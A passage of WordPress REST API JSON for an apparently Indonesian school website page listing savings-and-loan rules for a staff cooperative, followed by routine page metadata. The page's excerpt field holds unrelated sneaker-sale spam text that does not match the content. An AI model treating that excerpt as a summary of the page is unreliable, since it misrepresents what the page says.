dan aturan yang baku bagi anggota yang akan melakukan simpan pinjam<\/p>\n<p>12. Melakukan studi banding denngan koperasi lain (koperasi kemenag, koperasi maestro, dll)<\/p>\n<p>13. Bagi anggota koperasi yangh sudah 1 tahun diperbolehkan\u00a0 mengajukan pinjaman dengan cara mengisi\u00a0 formulir dan pinjaman akan diberikan\u00a0 sesuia dengan urutan dan tidak ada tunggakan dan tidak ada pinjaman temporer<\/p>\n<p>14. Hasil serba\u00a0 usaha koperasi\u00a0 dibagikan menjelang lebaran pada waktu buka puasa bersama<\/p>\n<p><i>\u00a0<\/i><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The 12.12.12. yeezy boost 350 moonrock for sale event is also known as adidas yeezy&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-111","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/mtskhazanahtangsel.sch.id\/index.php?rest_route=\/wp\/v2\/pages\/111","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/mtskhazanahtangsel.sch.id\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/mtskhazanahtangsel.sch.id\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/mtskhazanahtangsel.sch.id\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/mtskhazanahtangsel.sch.id\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=111"}],"version-history":[{"count":7,"href":"https:\/\/mtskhazanahtangsel.sch.id\/index.php?rest_route=\/wp\/v2\/pages\/111\/revisions"}],"predecessor-version":[{"id":479,"href":"https:\/\/mtskhazanahtangsel.sch.id\/index.php?rest_route=\/wp\/v2\/pages\/111\/revisions\/479"}],"wp:attachment":[{"href":"https:\/\/mtskhazanahtangsel.sch.id\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=111"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}